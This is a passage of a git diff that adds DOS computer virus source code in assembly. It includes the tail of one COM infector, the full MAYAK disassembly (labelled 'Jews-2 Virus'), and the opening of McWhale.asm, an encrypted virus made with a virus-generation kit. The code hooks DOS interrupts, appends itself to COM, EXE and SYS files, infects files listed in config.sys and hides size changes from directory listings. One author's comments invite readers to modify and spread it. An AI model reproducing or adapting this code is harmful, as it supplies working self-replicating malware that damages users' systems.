attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End. \ No newline at end of file diff --git a/m/MAYAK.ASM b/m/MAYAK.ASM new file mode 100755 index 0000000..cea031c --- /dev/null +++ b/m/MAYAK.ASM @@ -0,0 +1,1270 @@ + +PAGE 59,132 + +; +; +; MAYAK +; +; Created: 1-Aug-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 0Ch +data_3e equ 20h +data_4e equ 24h +data_5e equ 84h +data_6e equ 90h +data_8e equ 100h +data_9e equ 917h ;* +data_10e equ 91Eh ;* +data_11e equ 5350h ;* +data_14e equ 927h ;* +data_15e equ 6 +data_16e equ 46h +data_17e equ 60h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +mayak proc far + +start: +;* jmp loc_6 ;* + db 0E9h, 32h, 01h + db 60h,0B9h, 00h, 20h + +locloop_3: + loop locloop_3 ; Loop if cx > 0 + + mov al,0 + out 60h,al ; port 60h, keybd data write + int 20h ; DOS program terminate + push ax + push cx + push si + push di + push ds + push es + call sub_2 + +mayak endp + +; +; SUBROUTINE +; + +sub_2 proc near + pop si + sub si,9 + nop ;*ASM fixup - sign extn byte + push cs + pop ds + mov [si+44h],cs + nop ;*ASM fixup - displacement + mov [si+62h],cs + nop ;*ASM fixup - displacement + mov [si+46h],bx + nop ;*ASM fixup - displacement + mov [si+48h],es + nop ;*ASM fixup - displacement + mov ax,[si+42h] + mov ds:data_15e,ax + jmp short $+2 ; delay for I/O + cld ; Clear direction + mov ax,7000h + mov es,ax + xor di,di ; Zero register + mov cx,923h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov cx,7Bh + rep stosb ; Rep when cx >0 Store al to es:[di] + pop es + pop ds + pop di + pop si + pop cx + pop ax +;* jmp far ptr loc_2 ;* +sub_2 endp + + db 0EAh,0C1h, 00h, 68h, 02h + out 3,al ; port 3, DMA-1 bas&cnt ch 1 + xchg dx,ds:data_11e[bx+si] + push cx + push dx + push si + push di + push ds + push es + push cs + pop ds + les di,dword ptr ds:data_17e ; Load 32 bit ptr + mov si,91Eh + cld ; Clear direction + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsb ; Mov [si] to es:[di] +;* call far ptr sub_1 ;* + db 9Ah,0CCh, 00h, 68h, 02h + mov ax,0FEDAh + int 21h ; ??INT Non-standard interrupt + cmp ax,0ADEFh + je loc_4 ; Jump if equal + push cs + pop ds + mov ah,34h ; '4' + int 21h ; DOS Services ah=function 34h + ; get DOS critical ptr es:bx + ;* undocumented function + mov word ptr ds:[93Bh],bx + mov word ptr ds:[93Dh],es + lds si,dword ptr ds:data_16e ; Load 32 bit ptr + les di,dword ptr [si+0Eh] ; Load 32 bit ptr + mov cl,4 + shr di,cl ; Shift w/zeros fill + inc di + mov ax,es + add ax,di + mov es,ax + mov word ptr [si+0Eh],99Eh + mov [si+10h],es + xor di,di ; Zero register + push cs + pop ds + xor si,si ; Zero register + cld ; Clear direction + mov cx,99Eh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov di,data_14e + mov ds,cx + mov si,data_5e + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov [si-2],es + mov word ptr [si-4],147h + mov si,data_4e + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov [si-2],es + mov word ptr [si-4],384h + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + call sub_10 + sub ax,word ptr cs:[917h] + cmp ax,5 + jb loc_4 ; Jump if below + mov si,data_3e + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov [si-2],es + mov word ptr [si-4],2C2h +loc_4: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf ; Return far + db 'Jews-2 Virus. MSU 1991' + db 1Eh, 06h,0E8h, 00h, 00h, 5Eh + db 81h,0EEh, 03h, 01h,0E8h,0CAh + db 02h, 0Eh, 0Eh, 1Fh, 07h,0E8h + db 25h, 03h, 07h, 8Ch,0C0h, 05h + db 10h, 00h, 2Eh, 01h, 84h, 24h + db 01h, 1Fh,0E8h,0FFh, 02h,0EAh + db 00h + db 0, 0, 0 +loc_6: + call sub_3 + +; +; SUBROUTINE +; + +sub_3 proc near + pop si + sub si,129h + call sub_5 + push si + mov di,data_8e + add si,data_10e + movsw ; Mov [si] to es:[di] + movsb ; Mov [si] to es:[di] + pop si + call sub_8 + mov ax,100h + push ax + call sub_7 + retn +sub_3 endp + + pushf ; Push flags + cmp ax,0FEDAh + jne loc_7 ; Jump if not equal + mov ax,0ADEFh + les bx,dword ptr cs:[927h] ; Load 32 bit ptr + popf ; Pop flags + iret ; Interrupt return +loc_7: + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + xor si,si ; Zero register + call sub_5 + cmp ah,3Ch ; '<' + je loc_13 ; Jump if equal + cmp ah,5Bh ; '[' + je loc_13 ; Jump if equal + cmp ah,3Dh ; '=' + je loc_15 ; Jump if equal + cmp ah,3Eh ; '>' + je loc_17 ; Jump if equal + cmp ah,4Bh ; 'K' + jne loc_10 ; Jump if not equal + jmp loc_20 +loc_10: + cmp ah,4Eh ; 'N' + jne loc_11 ; Jump if not equal + jmp loc_26 +loc_11: + cmp ah,4Fh ; 'O' + jne loc_12 ; Jump if not equal + jmp loc_28 +loc_12: + jmp loc_31 +loc_13: + int 3 ; Debug breakpoint + jnc loc_14 ; Jump if carry=0 + jmp loc_29 +loc_14: + push ax + call sub_12 + pop bx + mov byte ptr cs:[943h][bx],al + mov byte ptr cs:[957h][bx],ah + mov ax,bx + jmp loc_30 +loc_15: + push ax + mov al,2 + int 3 ; Debug breakpoint + jnc loc_16 ; Jump if carry=0 + pop ax + jmp loc_31 +loc_16: + pop bx + push ax + call sub_12 + pop bx + mov byte ptr cs:[943h][bx],al + mov byte ptr cs:[957h][bx],ah + call sub_21 + mov ax,bx + jmp loc_30 +loc_17: + push ax + push cs + pop ds + cmp bx,5 + jb loc_19 ; Jump if below + cmp bx,18h + ja loc_19 ; Jump if above + mov al,byte ptr ds:[943h][bx] + mov ah,byte ptr ds:[957h][bx] + mov byte ptr ds:[943h][bx],0 + mov byte ptr ds:[957h][bx],0 + cmp al,2 + jb loc_18 ; Jump if below + cmp ah,2 + jbe loc_19 ; Jump if below or = +loc_18: + call sub_20 +loc_19: + pop ax + jmp loc_31 +loc_20: + mov word ptr cs:[99Ah],dx + mov word ptr cs:[99Ch],ds + push ax + call sub_12 + mov word ptr cs:[998h],ax + push ax + mov ax,3D02h + int 3 ; Debug breakpoint + mov bx,ax + pop ax + pop cx + push cx + jc loc_25 ; Jump if carry Set + and cl,cl + jz loc_23 ; Jump if zero + call sub_21 + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + pop ax + call sub_4 + pop bx + call dword ptr cs:[927h] + pushf ; Push flags + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push ax + xor si,si ; Zero register + call sub_5 + mov ax,word ptr cs:[998h] + lds dx,dword ptr cs:[99Ah] ; Load 32 bit ptr + cmp al,2 + jb loc_22 ; Jump if below + cmp ah,2 + ja loc_22 ; Jump if above +loc_21: + pop ax + call sub_4 + pop bx + popf ; Pop flags + retf 2 ; Return far +loc_22: + push ax + mov ax,3D02h + int 3 ; Debug breakpoint + mov bx,ax + pop ax + jc loc_21 ; Jump if carry Set + call sub_20 + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + jmp short loc_21 +loc_23: + cmp al,2 + jb loc_24 ; Jump if below + cmp ah,2 + jbe loc_25 ; Jump if below or = +loc_24: + call sub_20 +loc_25: + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + pop ax + jmp short loc_31 +loc_26: + int 3 ; Debug breakpoint + jc loc_29 ; Jump if carry Set + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + push es + pop ds +loc_27: + mov ax,[bx+16h] + and ax,1Fh + cmp ax,1Fh + jne loc_30 ; Jump if not equal + sub word ptr [bx+1Ah],923h + sbb word ptr [bx+1Ch],0 + and word ptr [bx+16h],0FFE0h + jmp short loc_30 +loc_28: + int 3 ; Debug breakpoint + mov bx,dx + jnc loc_27 ; Jump if carry=0 +loc_29: + call sub_4 + pop bx + popf ; Pop flags + stc ; Set carry flag + retf 2 ; Return far +loc_30: + call sub_4 + pop bx + popf ; Pop flags + clc ; Clear carry flag + retf 2 ; Return far +loc_31: + call sub_4 + pop bx + popf ; Pop flags + jmp dword ptr cs:[927h] + push ax + push cx + push dx + push si + push ds + push es + push cs + pop ds + cmp byte ptr ds:[34Eh],0 + jne loc_32 ; Jump if not equal + les si,dword ptr ds:[93Bh] ; Load 32 bit ptr + cmp byte ptr es:[si],0 + jne $+6Ah ; Jump if not equal + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dx=sec + mov dl,cl + cmp dx,1E3Bh + jne $+5Eh ; Jump if not equal + mov byte ptr ds:[34Eh],1 + mov byte ptr ds:[947h],1 + mov word ptr ds:[943h],34Fh +loc_32: + dec byte ptr ds:[34Eh] + jnz $+48h ; Jump if not zero + mov si,word ptr ds:[943h] + cld ; Clear direction +loc_33: + lodsb ; String [si] to al + mov byte ptr ds:[34Eh],al + and al,al + jnz loc_35 ; Jump if not zero + dec byte ptr ds:[947h] + jz loc_34 ; Jump if zero + mov si,word ptr ds:[945h] + jmp short loc_33 +loc_34: + lodsb ; String [si] to al + mov word ptr ds:[945h],si + mov byte ptr ds:[947h],al + and al,al + jnz loc_33 ; Jump if not zero + jmp short $+21h +loc_35: + lodsw ; String [si] to ax + mov cx,ax + mov word ptr ds:[943h],si + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode + mov dx,12h + mov ax,34DDh + div cx ; ax,dx rem=dx:ax/reg + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + in al,61h ; port 61h, 8255 port B, read + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + pop es + pop ds + pop si + pop dx + pop cx + pop ax + jmp dword ptr cs:[92Fh] + add [bx+si],al + add ax,[bx] + into ; Int 4 on overflow + add al,[bx] + push si + add ax,[bx] + xor al,4 + pop es + push si + add cx,word ptr ds:[3BFh] + pop es + push si + add ax,[bx] + add cx,word ptr es:[434h] + push cs + mov di,1103h + into ; Int 4 on overflow + add dh,[bp+si] + db 0FFh,0FFh, 00h, 05h, 02h,0E8h + db 03h, 10h,0FFh,0FFh, 00h, 01h + db 09h,0E8h, 03h, 01h,0FFh,0FFh + db 00h, 00h, 50h, 1Eh,0E4h, 60h + db 3Ch, 53h, 75h, 35h,0B8h, 40h + db 00h, 8Eh,0D8h,0A0h, 17h, 00h + db 24h, 0Ch, 3Ch, 0Ch, 75h, 27h + db 0C7h, 06h, 72h, 00h, 34h, 12h + db 0E4h, 61h, 8Ah,0E0h, 0Ch, 80h + db 0E6h, 61h, 86h,0E0h,0E6h, 61h + db 0B0h, 20h,0E6h, 20h, 33h,0F6h + db 0E8h, 20h, 00h, 0Eh, 0Eh, 1Fh + db 07h,0E8h, 7Bh, 00h,0EAh,0F0h + db 0FFh, 00h,0F0h + db 1Fh, 58h, 2Eh,0FFh, 2Eh, 2Bh + db 09h + +; +; SUBROUTINE +; + +sub_4 proc near + call sub_6 + pop bx + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + jmp bx ;*Register jump + +; External Entry into Subroutine + +sub_5: + push ax + push bx + push ds + push es + xor ax,ax ; Zero register + mov ds,ax + les ax,dword ptr ds:data_1e ; Load 32 bit ptr + mov word ptr cs:[933h][si],ax + mov word ptr cs:[935h][si],es + mov ax,0FEDAh + int 21h ; ??INT Non-standard interrupt + cmp ax,0ADEFh + je loc_37 ; Jump if equal + les bx,dword ptr ds:data_5e ; Load 32 bit ptr +loc_37: + mov ds:data_1e,bx + mov word ptr ds:data_1e+2,es + pop es + pop ds + pop bx + pop ax + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + mov ds,ax + les ax,dword ptr cs:[933h][si] ; Load 32 bit ptr + mov ds:data_1e,ax + mov word ptr ds:data_1e+2,es + pop es + pop ds + pop ax + retn +sub_6 endp + + db 0B0h, 03h,0CFh + +; +; SUBROUTINE +; + +sub_7 proc near + call sub_6 + xor ax,ax ; Zero register + xor bx,bx ; Zero register + mov cx,0FFh + mov dx,cs + mov di,sp + add di,4 + mov si,100h + xor bp,bp ; Zero register + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + mov ah,2Ah ; '*' + int 3 ; Debug breakpoint + call sub_10 + mov word ptr ds:[917h][si],ax + mov ax,3D00h + lea dx,[si+4F0h] ; Load effective addr + int 3 ; Debug breakpoint + mov bx,ax + jnc loc_38 ; Jump if carry=0 + retn +loc_38: + mov ah,3Fh ; '?' + lea dx,[si+970h] ; Load effective addr + mov cx,28h + int 3 ; Debug breakpoint + and ax,ax + jnz loc_39 ; Jump if not zero + jmp loc_46 +loc_39: + mov cx,ax + mov di,dx + mov al,0Dh + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + jnz loc_38 ; Jump if not zero + mov byte ptr [di-1],20h ; ' ' + neg cx + inc cx + mov ax,cx + cwd ; Word to double word + xchg cx,dx + mov ax,4201h + int 3 ; Debug breakpoint + mov cx,28h + mov al,20h ; ' ' + lea di,[si+970h] ; Load effective addr + push di + push cx + +locloop_40: + scasb ; Scan es:[di] for al + jc loc_41 ; Jump if carry Set + mov [di-1],al +loc_41: + loop locloop_40 ; Loop if cx > 0 + + pop cx + pop di + repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al + push si + dec di + push di + lea di,[si+4FEh] ; Load effective addr + pop si + mov cx,6 + +locloop_42: + lodsb ; String [si] to al + or al,20h ; ' ' + scasb ; Scan es:[di] for al + loopz locloop_42 ; Loop if zf=1, cx>0 + + mov di,si + pop si + jnz loc_38 ; Jump if not zero + mov cx,28h + mov al,20h ; ' ' + repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al + cmp byte ptr [di-1],3Dh ; '=' + jne loc_38 ; Jump if not equal + repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al + dec di + mov dx,di + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov byte ptr [di-1],0 + push bx + call sub_11 + jz loc_44 ; Jump if zero + mov di,dx + cmp byte ptr [di],5Ch ; '\' + je loc_43 ; Jump if equal + dec di + mov byte ptr [di],5Ch ; '\' +loc_43: + dec di + dec di + mov word ptr [di],3A63h + mov dx,di +loc_44: + mov ax,3D02h + int 3 ; Debug breakpoint + jc loc_45 ; Jump if carry Set + mov bx,ax + mov ax,402h + call sub_20 + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint +loc_45: + pop bx + jmp loc_38 +loc_46: + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + retn +sub_8 endp + + db 'c:\config.sys' + db 00h, 64h, 65h, 76h, 69h, 63h + db 65h + +; +; SUBROUTINE +; + +sub_10 proc near + sub cx,7BCh + dec dx + dec dh + mov al,1Fh + mul dh ; ax = reg * al + xor dh,dh ; Zero register + add dx,ax + push dx + mov ax,16Eh + mul cx ; dx:ax = reg * ax + pop dx + add ax,dx + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + mov di,dx + mov cx,0FFFFh + xor al,al ; Zero register + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + neg cx + dec cx + dec di + dec di + mov bx,di + mov di,dx + mov al,3Ah ; ':' + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + cld ; Clear direction + push bx + push si + push ds + pop es + call sub_11 + jnz loc_48 ; Jump if not zero + mov al,[di-2] + or al,20h ; ' ' + sub al,61h ; 'a' + jmp short loc_49 +loc_48: + mov ah,19h + int 3 ; Debug breakpoint +loc_49: + std ; Set direction flag + push cs + pop es + lea di,[si+584h] ; Load effective addr + mov si,bx + mov bl,al + mov ah,4 +loc_50: + mov cx,4 + push di + push si + +locloop_51: + lodsb ; String [si] to al + or al,20h ; ' ' + scasb ; Scan es:[di] for al + loopz locloop_51 ; Loop if zf=1, cx>0 + + pop si + pop di + jz loc_53 ; Jump if zero + sub di,4 + dec ah + jz loc_53 ; Jump if zero + jmp short loc_50 +loc_53: + cld ; Clear direction + mov al,bl + pop si + pop bx + retn +sub_12 endp + + db '.com.exe.bin.sys' + +; +; SUBROUTINE +; + +sub_13 proc near + mov ax,4200h + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 3 ; Debug breakpoint + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + push ax + and ah,ah + jz loc_56 ; Jump if zero + xor dx,dx ; Zero register + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,6 + int 3 ; Debug breakpoint + cmp ax,6 + jne loc_56 ; Jump if not equal + pop ax + push ax + cmp ah,2 + jb loc_55 ; Jump if below + jnz loc_54 ; Jump if not zero + cmp word ptr ds:[91Eh][si],5A4Dh + jne loc_56 ; Jump if not equal + jmp short loc_55 +loc_54: + cmp word ptr ds:[91Eh][si],0FFFFh + jne loc_56 ; Jump if not equal + cmp word ptr ds:[920h][si],0FFFFh + jne loc_56 ; Jump if not equal +loc_55: + pop ax + stc ; Set carry flag + retn +loc_56: + pop ax + clc ; Clear carry flag + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + push ax + mov ax,5700h + int 3 ; Debug breakpoint + mov word ptr ds:[93Fh][si],cx + mov word ptr ds:[941h][si],dx + and cx,1Fh + cmp cx,1Fh + pop ax + retn +sub_16 endp + + +; +; SUBROUTINE +; + +sub_17 proc near + call sub_14 + mov ah,40h ; '@' + mov dx,si + mov cx,923h + int 3 ; Debug breakpoint + retn +sub_17 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + call sub_14 + add ax,1FFh + adc dx,0 + mov al,ah + mov ah,dl + shr ax,1 ; Shift w/zeros fill + mov word ptr ds:[91Eh][si],ax + mov dx,4 + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + retn +sub_18 endp + + +; +; SUBROUTINE +; + +sub_19 proc near + push es + push bx + xor bx,bx ; Zero register + mov ds,bx + les bx,dword ptr ds:data_6e ; Load 32 bit ptr + mov word ptr cs:[937h][si],bx + mov word ptr cs:[939h][si],es + lea bx,[si+41Dh] ; Load effective addr + mov ds:data_6e,bx + mov word ptr ds:data_6e+2,cs + push ds + push cs + push cs + pop ds + pop es + push ax + cld ; Clear direction + lea dx,[si+970h] ; Load effective addr + mov di,dx + add al,61h ; 'a' + mov ah,3Ah ; ':' + stosw ; Store ax to es:[di] + mov word ptr [di],5Ch + mov ah,5Ah ; 'Z' + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + jc loc_59 ; Jump if carry Set + mov bx,ax + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + jc loc_59 ; Jump if carry Set + mov ah,41h ; 'A' + int 3 ; Debug breakpoint +loc_59: + pop ax + pop ds + les bx,dword ptr cs:[937h][si] ; Load 32 bit ptr + mov ds:data_6e,bx + mov word ptr ds:data_6e+2,es + push cs + pop ds + pop bx + pop es + retn +sub_19 endp + + +; +; SUBROUTINE +; + +sub_20 proc near + push cs + push cs + pop ds + pop es + call sub_15 + jc loc_60 ; Jump if carry Set + jmp loc_69 +loc_60: + call sub_16 + jnz loc_61 ; Jump if not zero + jmp loc_69 +loc_61: + call sub_19 + jnc loc_62 ; Jump if carry=0 + jmp loc_69 +loc_62: + cmp ah,1 + je loc_65 ; Jump if equal + cmp ah,2 + jne loc_63 ; Jump if not equal + jmp loc_67 +loc_63: + mov ah,3Fh ; '?' + lea dx,[si+42h] ; Load effective addr + nop ;*ASM fixup - displacement + mov cx,2 + int 3 ; Debug breakpoint + mov ah,3Fh ; '?' + lea dx,[si+60h] ; Load effective addr + nop ;*ASM fixup - displacement + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+60h] + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,5 + int 3 ; Debug breakpoint + call sub_14 + cmp ax,0F000h + jbe loc_64 ; Jump if below or = + jmp loc_69 +loc_64: + mov word ptr ds:[925h][si],ax + mov dx,6 + call sub_13 + mov ah,40h ; '@' + lea dx,[si+925h] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+60h] + call sub_13 + mov ah,40h ; '@' + lea dx,[si+919h] ; Load effective addr + mov cx,5 + int 3 ; Debug breakpoint + call sub_17 + jmp loc_68 +loc_65: + call sub_14 + cmp ax,0F000h + jbe loc_66 ; Jump if below or = + jmp loc_69 +loc_66: + add ax,123h + mov word ptr ds:[925h][si],ax + xor dx,dx ; Zero register + call sub_13 + mov byte ptr ds:[924h][si],0E9h + mov ah,40h ; '@' + lea dx,[si+924h] ; Load effective addr + mov cx,3 + int 3 ; Debug breakpoint + call sub_17 + jmp short loc_68 +loc_67: + mov dx,4 + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,6 + int 3 ; Debug breakpoint + call sub_14 + add ax,1FFh + adc dx,0 + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + mov al,ah + mov ah,dl + cmp ax,word ptr ds:[91Eh][si] + jne loc_69 ; Jump if not equal + mov dx,14h + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+122h] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + call sub_14 + mov di,word ptr ds:[922h][si] + mov cl,4 + shl di,cl ; Shift w/zeros fill + sub ax,di + sbb dx,0 + add ax,0FEh + adc dx,0 + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + mov word ptr ds:[91Eh][si],ax + mov word ptr ds:[920h][si],dx + mov dx,14h + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + call sub_17 + call sub_18 +loc_68: + mov ax,5701h + mov cx,word ptr ds:[93Fh][si] + mov dx,word ptr ds:[941h][si] + or cx,1Fh + int 3 ; Debug breakpoint +loc_69: + xor dx,dx ; Zero register + call sub_13 + retn +sub_20 endp + + +; +; SUBROUTINE +; + +sub_21 proc near + push cs + push cs + pop ds + pop es + call sub_15 + jc loc_70 ; Jump if carry Set + jmp loc_79 +loc_70: + call sub_16 + jz loc_71 ; Jump if zero + jmp loc_79 +loc_71: + call sub_19 + jnc loc_72 ; Jump if carry=0 + jmp loc_79 +loc_72: + cmp ah,1 + je loc_74 ; Jump if equal + cmp ah,2 + jne loc_73 ; Jump if not equal + jmp loc_76 +loc_73: + mov ah,3Fh ; '?' + lea dx,[si+42h] ; Load effective addr + nop ;*ASM fixup - displacement + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+42h] + add dx,42h + nop ;*ASM fixup - sign extn byte + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + mov dx,6 + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+42h] + add dx,91Eh + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,5 + int 3 ; Debug breakpoint + mov dx,8 + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+60h] ; Load effective addr + nop ;*ASM fixup - displacement + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+60h] + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,5 + int 3 ; Debug breakpoint + mov dx,[si+42h] + call sub_13 + mov ah,40h ; '@' + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + jmp loc_78 +loc_74: + cmp byte ptr ds:[91Eh][si],0E9h + je loc_75 ; Jump if equal + jmp loc_79 +loc_75: + sub word ptr ds:[91Fh][si],123h + mov dx,word ptr ds:[91Fh][si] + add dx,91Eh + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+924h] ; Load effective addr + mov cx,3 + int 3 ; Debug breakpoint + xor dx,dx ; Zero register + call sub_13 + mov ah,40h ; '@' + lea dx,[si+924h] ; Load effective addr + mov cx,3 + int 3 ; Debug breakpoint + mov dx,word ptr ds:[91Fh][si] + call sub_13 + mov ah,40h ; '@' + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + jmp short loc_78 +loc_76: + mov dx,8 + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + mov dx,14h + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+122h] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + mov cl,0Ch + shr word ptr ds:[124h][si],cl ; Shift w/zeros fill + mov ax,word ptr ds:[91Eh][si] + mov cl,4 + shl ax,cl ; Shift w/zeros fill + sub ax,0FEh + cwd ; Word to double word + add word ptr ds:[122h][si],ax + adc word ptr ds:[124h][si],dx + mov ax,4200h + mov dx,word ptr ds:[122h][si] + mov cx,word ptr ds:[124h][si] + add dx,122h + adc cx,0 + int 3 ; Debug breakpoint + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + mov dx,14h + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + mov ax,4200h + mov dx,word ptr ds:[122h][si] + mov cx,word ptr ds:[124h][si] + int 3 ; Debug breakpoint + mov ah,40h ; '@' + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + call sub_18 +loc_78: + mov ax,5701h + mov cx,word ptr ds:[93Fh][si] + mov dx,word ptr ds:[941h][si] + and cx,0FFE0h + int 3 ; Debug breakpoint +loc_79: + xor dx,dx ; Zero register + call sub_13 + retn +sub_21 endp + + db 26h, 11h,0EAh, 4Ah, 00h, 00h + db 70h,0B0h,0F3h,0E6h, 60h,0B9h + db 1Ah, 1Ah + db 716 dup (1Ah) + +seg_a ends + + + + end start diff --git a/m/MCWHALE.ASM b/m/MCWHALE.ASM new file mode 100755 index 0000000..0daa3fd --- /dev/null +++ b/m/MCWHALE.ASM @@ -0,0 +1,507 @@ +; McWhale.asm : [McAfee' Whale] by [pAgE] +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg +; +; Here's another "lame dick" virus! I thought it was rather fitting! +; Many thanks to the fellows at Phalcon/Skism for this little tool. +; I am sure that Dark Angel and the bunch are not stopping here, but +; will come up with another innovation in Vx production... +; +; I have set this file to activate at a 40% chance on any day. Feel free +; to modify this program as you see fit or keep it as a novelty in its +; original form. + + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'MO' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov bx,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov si,offset startencrypt ; start of decryption +decrypt_loop: + db 2eh,81h,04h ; add word ptr cs:[si], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc si ; calculate new decryption location + inc si + dec bx ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr 